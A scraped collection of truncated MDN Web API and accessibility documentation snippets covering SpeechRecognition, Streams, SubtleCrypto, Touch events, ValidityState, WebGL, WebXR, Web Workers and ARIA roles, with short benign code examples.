...in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification.
... recommendation initial definition.
SpeechRecognition() - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechr...
...ecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status comment web speech apithe definition of 'speechrecognition()' in that specification.
SpeechRecognition.continuous - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status comment web speech apithe definition of 'continuous' in that specification.
SpeechRecognition.interimResults - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status comment web speech apithe definition of 'interimresults' in that specification.
SpeechRecognition.lang - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechRecognition.maxAlternatives - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status comment web speech apithe definition of 'maxalternatives' in that specification.
SpeechRecognition.start() - Web APIs
the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var ...
...bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'start()' in that specification.
SpeechRecognitionErrorEvent.error - Web APIs
network network communication required for completing the recognition failed.
... bad-grammar there was an error in the speech recognition grammar or semantic tags, or the chosen grammar format or semantic tag format was unsupported.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'error' in that specification.
Storage Access API - Web APIs
this also prevents embedded content on the page from spamming the browser or user with excessive access requests.
...design properties unique to firefox are summarized here: if the embedded origin tracker.example has already obtained first-party storage access on the top-level origin foo.example, and the user visits a page from foo.example embedding a page from tracker.example again in less than 30 days, the embedded origin will have storage access immediately when loading.
... if a page from top-level origin foo.example embeds more than one <iframe> from tracker.example, and one of those <iframe>s uses the storage access api in order to obtain storage access successfully, all other iframes from tracker.example on foo.example top-level origins will immediately gain storage access as well, without needing to call requeststorageaccess() separately.
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
... the first object can contain up to five members, only the first of which is required: start(controller) — a method that is called once, immediately after the readablestream is constructed.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) // create a gray-scaled png stream out of the original .then(rs => logreadablestream('fetch response stream', rs)) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) summary that explains the basics of “default” readable streams.
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful!
... the first object can contain up to four members, all of which are optional: start(controller) — a method that is called once, immediately after the writablestream is constructed.
... when abort is called, any previously enqueued chunks are just thrown away immediately and then the stream is moved to an errored state.
Streams API - Web APIs
the streams api allows javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... this request could then be passed to a windoworworkerglobalscope.fetch() to commence fetching the stream.
... specifications specification status comment streams living standard initial definition.
SubtleCrypto.deriveKey() - Web APIs
they can then use this shared secret as a symmetric key to secure their communication, or can use the secret as an input to derive such a key (for example, using the hkdf algorithm).
...btle.derivekey( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-gcm", "length": 256}, true, [ "encrypt", "decrypt" ] ); return window.crypto.subtle.encrypt( { name: "aes-gcm", iv: iv }, key, plaintext ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivekey()' in that specification.
... recommendation initial definition.
SubtleCrypto.unwrapKey() - Web APIs
unwrapping a "raw" key in this example we unwrap an aes-gcm symmetric key.
... // algorithm params for key encryption key name: "aes-gcm", iv: ivbuffer }, { // algorithm params for key to unwrap name: "rsa-pss", hash: "sha-256" }, true, // extractability of key to unwrap ["sign"] // key usages for key to unwrap ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.unwrapkey()' in that specification.
... recommendation initial definition.
SubtleCrypto.verify() - Web APIs
it is the secret key for a symmetric algorithm and the public key for a public-key system.
..."valid" : "invalid"); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.verify()' in that specification.
... recommendation initial definition.
Touch.radiusX - Web APIs
WebAPITouchradiusX
summary returns the x radius of the ellipse that most closely circumscribes the area of contact with the touch surface.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "deg)"; }; specifications specification status comment touch events – level 2 draft non-stable version.
Touch.radiusY - Web APIs
WebAPITouchradiusY
summary returns the y radius of the ellipse that most closely circumscribes the area of contact with the touch surface.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
Touch.rotationAngle - Web APIs
summary returns the rotation angle, in degrees, of the contact area ellipse defined by touch.radiusx and touch.radiusy.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
Touch.screenX - Web APIs
WebAPITouchscreenX
summary returns the x coordinate of the touch point relative to the screen, not including any scroll offset.
... var i; for (i=0; i < e.touches.length; i++) { console.log("touchpoint[" + i + "].screenx = " + e.touches[i].screenx); console.log("touchpoint[" + i + "].screeny = " + e.touches[i].screeny); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch.screenY - Web APIs
WebAPITouchscreenY
summary returns the y coordinate of the touch point relative to the screen, not including any scroll offset.
... specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch.target - Web APIs
WebAPITouchtarget
summary returns the element (eventtarget) on which the touch contact started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document.
... for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch - Web APIs
WebAPITouch
the contact point is commonly a finger or stylus and the device may be a touchscreen or trackpad.
... specifications specification status comment touch events – level 2the definition of 'touch' in that specification.
... recommendation initial definition.
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
summary a boolean value indicating whether or not the alt (alternate) key is enabled when the touch event is created.
... someelement.addeventlistener('touchstart', function(e) { // log the state of this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchEvent.ctrlKey - Web APIs
summary a boolean value indicating whether the control (control) key is enabled when the touch event is created.
... specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchEvent.shiftKey - Web APIs
summary a boolean value indicating whether or not the shift key is enabled when the touch event is created.
... specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
USBDevice - Web APIs
WebAPIUSBDevice
usbdevice.controltransferin() returns a promise that resolves with a usbtransferinresult when a command or status operation has been transmitted to the usb device.
... usbdevice.controltransferout() returns a promise that resolves with a usbtransferoutresult when a command or status operation has been transmitted from the usb device.
... specifications specification status comment webusbthe definition of 'usbdevice' in that specification.
validityState.badInput - Web APIs
example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("content of input ok."); } specifications specification status comment html living standardthe definition of 'validitystate.badinput' in that specification.
... recommendation no change from the previous snapshot html5.
... recommendation first snapshot of html living standard containing this interface.
ValidityState.patternMismatch - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.patternmismatch' in that specification.
... recommendation html5the definition of 'validitystate.patternmismatch' in that specification.
... recommendation ...
ValidityState.rangeOverflow - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.rangeoverflow' in that specification.
... recommendation html5the definition of 'validitystate.rangeoverflow' in that specification.
... recommendation ...
ValidityState.rangeUnderflow - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.rangeunderflow' in that specification.
... recommendation html5the definition of 'validitystate.rangeunderflow' in that specification.
... recommendation ...
validityState.tooLong - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.toolong' in that specification.
... recommendation html5the definition of 'validitystate.toolong' in that specification.
... recommendation ...
validityState.tooShort - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate.tooshort' in that specification.
... recommendation html5the definition of 'validitystate.tooshort' in that specification.
... recommendation ...
ValidityState - Web APIs
specifications specification status comment html living standardthe definition of 'validitystate' in that specification.
... recommendation no change from the previous snapshot html5.
... recommendation first snapshot of html living standard containing this interface.
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
"commentary" a video track containing a commentary.
... this might be used to contain the director's commentary track on a movie, for example.
... specifications specification status comment html living standardthe definition of 'videotrack: kind' in that specification.
WakeLock.request() - Web APIs
WebAPIWakeLockrequest
the request() method of the wakelock interface returns a promise that resolves with a wakelocksentinel object, which allows control over screen dimming and locking.
...prevents devices from dimming or locking the screen.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'request()' in that specification.
WebGL2RenderingContext.fenceSync() - Web APIs
the webgl2renderingcontext.fencesync() method of the webgl 2 api creates a new webglsync object and inserts it into the gl command stream.
...must be gl.sync_gpu_commands_complete.
... var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'fencesync' in that specification.
WebGLRenderingContext.finish() - Web APIs
the webglrenderingcontext.finish() method of the webgl api blocks execution until all previously called commands are finished.
... specifications specification status comment webgl 1.0the definition of 'finish' in that specification.
... recommendation initial definition.
WebGLRenderingContext.flush() - Web APIs
the webglrenderingcontext.flush() method of the webgl api empties different buffer commands, causing all commands to be executed as quickly as possible.
... specifications specification status comment webgl 1.0the definition of 'flush' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getUniformLocation() - Web APIs
uniformmatrix[234][fv]() sets the uniform's value to the specified matrix, possibly with transposition.
... specifications specification status comment webgl 1.0the definition of 'getuniformlocation' in that specification.
... recommendation initial definition.
WebGLRenderingContext.lineWidth() - Web APIs
because of these implementation defined limits it is not recommended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width.
... gl.getparameter(gl.aliased_line_width_range); specifications specification status comment webgl 1.0the definition of 'linewidth' in that specification.
... recommendation initial definition.
WebGLRenderingContext.pixelStorei() - Web APIs
gl.getparameter(gl.pack_alignment); gl.getparameter(gl.unpack_alignment); specifications specification status comment webgl 1.0the definition of 'pixelstorei' in that specification.
... recommendation initial definition for webgl.
... recommendation additional pixel storage parameters that aren't specified in opengl.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
if stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but each attribute is in a separate block, and the next vertex' attribute follows immediately after the current vertex.
...ion); const locnormal = gl.getattriblocation(shaderprogram, 'normal'); gl.vertexattribpointer(locnormal, 4, gl.byte, true, 20, 12); gl.enablevertexattribarray(locnormal); const loctexuv = gl.getattriblocation(shaderprogram, 'texuv'); gl.vertexattribpointer(loctexuv, 2, gl.unsigned_short, true, 20, 16); gl.enablevertexattribarray(loctexuv); specifications specification status comment webgl 1.0the definition of 'vertexattribpointer' in that specification.
... recommendation initial definition.
WebGL model view projection - Web APIs
a commonly used projection matrix, the perspective projection matrix, is used to mimic the effects of a typical camera serving as the stand-in for the viewer in the 3d virtual world.
... gl.uniformmatrix4fv(this.locations.model, false, new float32array(this.transforms.model)); in the shader, each position vertex is first transformed into a homogeneous coordinate (a vec4 object), and then multiplied against the model matrix.
...consider our camera, which is viewing an area that starts immediately in front of its lens and extends off into the distance.
WebKitCSSMatrix - Web APIs
an alias for dommatrix.
... specifications specification status comment geometry interfaces module level 1the definition of 'webkitcssmatrix' in that specification.
... candidate recommendation ...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
keeping latency to a minimum is especially important for webrtc, since face-to-face communication needs to be performed with as little latency as possible.
...it isn't adequate for the purposes of fully managing users, memberships, permissions, and so forth, but provides the basics needed for an unrestricted multi-user communication session.
... rtp isn't limited to use in audiovisual communication.
Using WebRTC data channels - Web APIs
let's look at each of these cases, starting with the first, which is the most common.
... the rtcdatachannel object is returned immediately by createdatachannel(); you can tell when the connection has been made successfully by watching for the open event to be sent to the rtcdatachannel.
... when two users running firefox are communicating on a data channel, the message size limit is much larger than when firefox and chrome are communicating because firefox implements a now deprecated technique for sending large messages in multiple sctp messages, which chrome does not.
Writing WebSocket client applications - Web APIs
websocket client applications use the websocket api to communicate with websocket servers using the websocket protocol.
... creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server.
... as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method immediately after creating a websocket object will be successful.
Using bounded reference spaces - Web APIs
you can create a session that supports a bounded-floor reference space if available by using code such as the following: async function onactivatexrbutton(event) { if (!xrsession) { navgator.xr.requestsession("immersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session; startsessionanimation(); }); } } this function, called when the user clicks on a button to start the xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using immersive-vr mod...
... it's important, however, to keep in mind that while a local-floor space provides a floor-relative space and is always available for immersive sessions, it also has significant differences from bounded-floor, so you need to be prepared to handle these differences.
... keep in mind that by default, the viewer's position is placed immediately above the floor, like a camera lying on the ground.
Advanced techniques: Creating and sequencing audio - Web APIs
playing the audio in time a common problem with digital audio applications is getting the sounds to play in time so that the beat remains consistent, and things do not slip out of time.
...there's no point repeating it all here, but it's highly recommended to read this article and use this method.
... this.dataset.playing = 'true'; } else { window.cleartimeout(timerid); this.dataset.playing = 'false'; } }) }); summary we've now got an instrument inside our browser!
Using IIR filters - Web APIs
it's a commonly-used type and we already have it as a node in the web audio api.
... when you are using an iirfilternode instead of a biquadfilternode you are creating the filter yourself, rather than just choosing a pre-programmed type.
...pacing+fontsize); // loop over our magnitude response data and plot our filter canvasctx.beginpath(); for(let i = 0; i < magresponseoutput.length; i++) { if (i === 0) { canvasctx.moveto(spacing, height-(magresponseoutput[i]*100)-spacing ); } else { canvasctx.lineto((width/totalarrayitems)*i, height-(magresponseoutput[i]*100)-spacing ); } } canvasctx.stroke(); summary that's it for our iirfilter demo.
Functions and classes available to Web Workers - Web APIs
unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site).
... 38 (38) no support no support no support cache cache api provides the ability to programmatically control cache storage associated with current origin.
... channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly via two ports.
Web Workers API - Web APIs
they are a little more complex than dedicated workers — scripts must communicate via an active port.
... web worker interfaces abstractworker abstracts properties and methods common to all kind of workers (i.e.
... specifications specification status comment html living standardthe definition of 'web workers' in that specification.
Window.external - Web APIs
WebAPIWindowexternal
however, this is now deprecated, and the contained methods are now dummy functions that do nothing as per spec.
... methods the external object has the following methods: method description addsearchprovider(descriptionurl) dummy function; does nothing.
... issearchproviderinstalled() dummy function; does nothing.
Window.self - Web APIs
WebAPIWindowself
me in the list } furthermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications specification status comment html living standardthe definition of 'window.self' in that specification.
... recommendation no difference from the html5 html5the definition of 'window.self' in that specification.
... recommendation first snapshot containing the definition of window.self.
Window.top - Web APIs
WebAPIWindowtop
syntax var topwindow = window.top; notes where the window.parent property returns the immediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects.
... specifications specification status comment html living standardthe definition of 'window.top' in that specification.
... recommendation initial definition ...
Window.window - Web APIs
WebAPIWindowwindow
specifications specification status comment html living standardthe definition of 'window.window' in that specification.
... recommendation no difference from the html5 html5the definition of 'window.window' in that specification.
... recommendation first snapshot containing the definition of window.window.
WindowEventHandlers.onbeforeunload - Web APIs
specification status comment html living standardthe definition of 'onbeforeunload' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
... recommendation ...
WindowEventHandlers.onhashchange - Web APIs
ngeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
... recommendation ...
WindowEventHandlers.onunload - Web APIs
specifications specification status comment html living standardthe definition of 'onunload' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
... recommendation ...
WindowOrWorkerGlobalScope.indexedDB - Web APIs
example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status comment indexed database api draftthe definition of 'indexeddb' in that specification.
... recommendation defined in a windoworworkerglobalscope partial in the newest spec.
... recommendation initial definition.
Worker.terminate() - Web APIs
WebAPIWorkerterminate
the terminate() method of the worker interface immediately terminates the worker.
... example the following code snippet shows creation of a worker object using the worker() constructor, which is then immediately terminated.
... var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status comment html living standardthe definition of 'worker.terminate()' in that specification.
Worker - Web APIs
WebAPIWorker
workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null.
... worker.terminate() immediately terminates the worker.
... specifications specification status comment html living standardthe definition of 'worker' in that specification.
Worklet - Web APIs
WebAPIWorklet
the worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly.
... instead, you can use one of the following classes: name description location specification paintworklet for programmatically generating an image where a css property expects a file.
... specifications specification status comment worklets level 1the definition of 'worklet' in that specification.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
r message: " + secinfo.errormessage + "\n"); } } else { dump("\tno security info available for this channel\n"); } // print ssl certificate details if (secinfo instanceof ci.nsisslstatusprovider) { var cert = secinfo.queryinterface(ci.nsisslstatusprovider) .sslstatus.queryinterface(ci.nsisslstatus).servercert; dump("\tcommon name (cn) = " + cert.commonname + "\n"); dump("\tissuer = " + cert.issuerorganization + "\n"); dump("\torganisation = " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid unti...
...ener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced the following output in my console: connection status: succeeded security info: security state: secure common name (cn) = addons.mozilla.org organisation = mozilla corporation issuer = verisign, inc.
... valid until 8/20/2013 23:59:59 pm and here is the output of making an https request to a server that uses an expired certificate: test("https://www.appliancetherapy.com/"); note that the security state has become "insecure" now and there is an error name reported: connection status: failed: securityexpiredcertificateerror security info: security state: insecure common name (cn) = www.appliancetherapy.com organisation = appliance therapy group (selane products, inc) issuer = verisign, inc.
XRPermissionDescriptor.optionalFeatures - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples let xrpermissiondesc = { name: "xr", mode: "immersive-vr", optionalfeatures: [ "bounded-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment ...
XRPermissionStatus.granted - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples specifications specification status comment webxr device apithe definition of 'xrpermissionstatus.granted' in that specification.
XRReferenceSpaceType - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... xrreferencespace specifications specification status comment webxr device apithe definition of 'xrreferencespacetype' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the read-only inlineverticalfieldofview property of the xrrenderstate interface returns the default vertical field of view for "inline" sessions and null for all immersive sessions.
... syntax var inlineverticalfieldofview = xrrenderstate.inlineverticalfieldofview; value a number for "inline" sessions, which represents the default field of view, and null for immersive sessions.
... specifications specification status comment webxr device apithe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
XRSession.cancelAnimationFrame() - Web APIs
example in the example below we see code which starts up a webxr session if immersive vr mode is supported.
... const xr = navigator.xr; let requesthandle = null; let xrsession = null; if (xr) { xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { startxr(); } }); } function framecallback(time, xrframe) { xrsession.requestanimationframe(framecallback); // update and render the frame } async function startxr() { xrsession = xr.requestsession("immersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationfram...
...e(framecallback); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status comment webxr device apithe definition of 'xrsession.cancelanimationframe' in that specification.
XRSession.environmentBlendMode - Web APIs
this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently.
...this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... specifications specification status comment webxr augmented reality modulethe definition of 'xrsession.environmentblendmode' in that specification.
XRSession.onselect - Web APIs
this typically represents the pressing of a button or trigger, a hand gesture, or a spoken command.
... the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and immediately before the tracking of the primary action ends, which is announced by the selectend event.
... xrsession.onselect = event => { let source = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onselect' in that specification.
XRSession.requestReferenceSpace() - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... specifications specification status comment webxr device apithe definition of 'requestreferencespace()' in that specification.
XRSession.visibilityState - Web APIs
usage notes it's important to keep in mind that because an immersive webxr session is potentially being shown using a different display than the html document in which it's running (such as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate.
... for instance, if the viewer is using a headset tethered to a computer and the immersive scene is obscured by a configuration ui, the user could peek out from behind the headset and still be able to see the document itself on their computer's monitor.
... specifications specification status comment webxr device apithe definition of 'xrsession.visibilitystate' in that specification.
XRSpace - Web APIs
WebAPIXRSpace
the xrspace interface of the webxr device api is an abstract interface providing a common basis for every class which represents a virtual coordinate system within the virtual world, in which its origin corresponds to a physical location.
...there are exceptions to this static nature; most commonly, an xrreferencespace may move in order to adjust based on reconfiguration of the user's headset or other motion-sensitive device.
... specifications specification status comment webxr device apithe definition of 'xrspace' in that specification.
XSL Transformations in Mozilla FAQ - Web APIs
the most common cause is the mime type handling.
...a known workaround is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not.
... original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license ...
Using the alertdialog role - Accessibility
the alertdialog role is used to notify the user of urgent information that demands the user's immediate attention.
...in other words, when a dialog's information and controls require the user's immediate attention alertdialog should be used instead of dialog.
...ialog1title">your login session is about to expire</h2> <p id="dialog1desc">to extend your session, click the ok button</p> <button>ok</button> </div> </div> working examples: tbd notes aria attributes used alertdialog aria-labelledby aria-describedby related aria techniques using the dialog role using the alert role compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the article role - Accessibility
examples of an article include web log posts, newspaper or magazine articles and use-submitted comments.
... articles can be nested; for example, a web log entry on a site that accepts user-submitted comments could represent the comments as articles nested within the article for the web log entry.
... examples <article role="article"> <header> <h2>blog post</h2> </header> <section class="content"> <p>a very interesting post</p> </section> <section class="comments"> <div class="comment" role="article"> <p>meaningful comment</p> </div> <div class="comment" role="article"> <p>positive comment</p> </div> </section> </article> notes aria attributes used related aria techniques aria techniques - list of roles compatibility tbd: add support information for common ua and at product combinations additional resources wai-...
Using the slider role - Accessibility
as the user interacts with the thumb, the application must programmatically adjust the slider's aria-valuenow (and possible aria-valuetext) attribute to reflect the current value.
...the application will programmatically update the value of aria-valuenow in response to user input.
...cument.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the slider role ...
How to file ARIA-related bugs - Accessibility
